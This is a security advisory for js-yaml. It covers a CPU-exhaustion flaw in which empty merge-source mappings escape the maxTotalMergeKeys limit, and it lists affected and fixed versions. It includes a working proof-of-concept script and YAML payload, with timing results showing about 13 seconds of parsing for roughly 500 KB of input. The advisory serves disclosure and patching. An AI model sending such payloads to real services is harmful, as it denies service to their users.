Packages / js-yaml / Security

HighVulnerabilityGHSA-2883-xcg3-v3hhCVE-2026-84375Published 8 Sep 2026

js-yaml: maxTotalMergeKeys does not limit CPU use for empty merge sources

Your version

Affected releases · js-yaml

  • 4.x4.0.0 – 4.3.1Fixed in 4.3.2
  • 3.x3.0.0 – 3.15.1Fixed in 3.15.2

On 4.x, the newest line:

npm install js-yaml@4.3.2
Every release on a timeline
5.x
  1. Not affected

    5.0.0 – 5.5.0

    12 releases, latest

4.x
  1. Affected

    4.0.0 – 4.3.1

    6 releases

  2. Fixed

    4.3.2

    1 release

3.x
  1. Affected

    3.0.0 – 3.15.1

    49 releases

  2. Fixed

    3.15.2

    1 release

94 stable releases of js-yaml, oldest to newest, one row per major.

What happens

Summary

maxTotalMergeKeys does not count empty mappings. An attacker can repeatedly merge a large sequence of them and consume significant CPU without reaching the configured limit.

Example

arr: &arr [{}, {}, {}, ...] # N empty mappings
targets:
  - <<: *arr                # repeated K times

For every target, the loader iterates all N elements of arr. This results in O(N * K) work while totalMergeKeys remains unchanged.

PoC

import { performance } from 'node:perf_hooks'
import { load, YAML11_SCHEMA } from 'js-yaml'

const n = 20000

const src =
  'arr: &arr [' + '{},'.repeat(n).slice(0, -1) + ']\n' +
  'targets:\n' +
  '  - <<: *arr\n'.repeat(n)

const started = performance.now()

load(src, { schema: YAML11_SCHEMA })

console.log(`${(performance.now() - started).toFixed(1)} ms`)

Observed results:

NYAML sizeTime
800~13 KB~20 ms
3200~50 KB~180 ms
20000~500 KB~13 s

Impact

An attacker can submit a relatively small YAML document that causes prolonged CPU consumption despite the default maxTotalMergeKeys limit.

Fix

Count each merge-source mapping as one budget unit, in addition to counting its keys.

Difference with v5

In v3 & v4, merge is enabled by default. So, the severity score is higher.